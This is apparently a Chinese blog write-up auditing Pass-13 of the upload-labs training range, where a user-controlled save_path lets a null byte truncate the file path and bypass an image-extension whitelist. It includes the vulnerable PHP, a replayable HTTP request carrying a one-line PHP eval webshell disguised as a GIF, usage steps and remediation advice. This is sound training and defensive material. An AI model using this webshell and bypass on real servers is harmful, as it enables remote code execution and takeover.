upload-labs_Pass-13_2026-08-09

upload-labs 文件上传漏洞靶场代码审计报告

一、靶场信息

项目 内容
靶场名称 upload-labs
关卡编号 Pass-13
漏洞类型 上传路径可控导致空字节截断(POST 参数)
审计日期 2026-08-09
目标文件 Pass-13/index.php

二、漏洞概述

Pass-13 与 Pass-12 类似,对上传文件后缀做了白名单校验(仅允许 jpgpnggif),但保存路径 save_path 由用户通过 POST 参数控制。攻击者可以在 POST 参数 save_path 中插入空字节(%00),使最终保存路径在空字节处截断,从而将文件保存为任意名称(如 shell.php),绕过白名单限制。

  • 危险等级:高危
  • 影响范围:PHP < 5.3.4 环境中可上传任意文件

三、问题代码位置

文件路径Pass-13/index.php

问题代码片段(第 8-23 行)

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

四、漏洞分析

4.1 为什么存在这个问题

代码从 $_POST['save_path'] 获取保存目录,未做任何校验或过滤。攻击者可以通过 POST 参数传递 save_path=../upload/shell.php%00,最终路径为 ../upload/shell.php\x00/xx20260809xxxx.jpg。PHP 在处理该路径时会因空字节截断而实际保存为 ../upload/shell.php,从而绕过白名单后缀校验。

4.2 校验逻辑缺陷

  • 保存路径参数完全由用户控制。
  • 未对 save_path 进行校验、过滤或规范化。
  • 未过滤空字节等危险字符。
  • 白名单后缀校验被路径空字节截断绕过。

五、利用思路

攻击者上传一个合法后缀的图片文件(如 shell.jpg),同时在 POST 表单中提交 save_path=../upload/shell.php%00。服务端校验 .jpg 后缀通过,但保存路径在空字节处截断,最终生成 upload/shell.php,内容为图片马数据。


六、POC(Yakit 可直接重放)

6.1 前提条件

  • 靶场访问地址:http://target.com/upload-labs/Pass-13/index.php
  • PHP 版本低于 5.3.4
  • 准备图片马内容示例:
GIF89a
<?php @eval($_POST['cmd']); ?>

6.2 Yakit 重放 HTTP 请求包

POST /upload-labs/Pass-13/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg

GIF89a
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="save_path"

../upload/shell.php%00
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--

6.3 利用步骤

  1. 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
  2. 修改 Host 为实际靶场地址。
  3. 确保 POST 参数中包含 save_path=../upload/shell.php%00
  4. 发送请求,服务端校验 .jpg 后缀通过。
  5. 访问上传文件:http://target.com/upload-labs/upload/shell.php
  6. 使用 Webshell 管理工具连接,密码 cmd

七、修复建议

  1. 禁止用户控制保存路径:保存路径应在服务端硬编码。
  2. 过滤空字节等控制字符:对路径参数进行正则校验。
  3. 使用白名单后缀:需同时配合路径安全校验。
  4. 重命名上传文件:使用随机文件名。
  5. 上传目录禁止脚本执行:从 Web 服务器层限制解析。
  6. 升级 PHP 版本:PHP 5.3.4 修复了空字节截断问题。

安全代码示例

$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
    die('只允许上传图片文件');
}
$save_path = '../upload/'; // 服务端硬编码
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], $save_path . $new_name);

八、参考链接

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部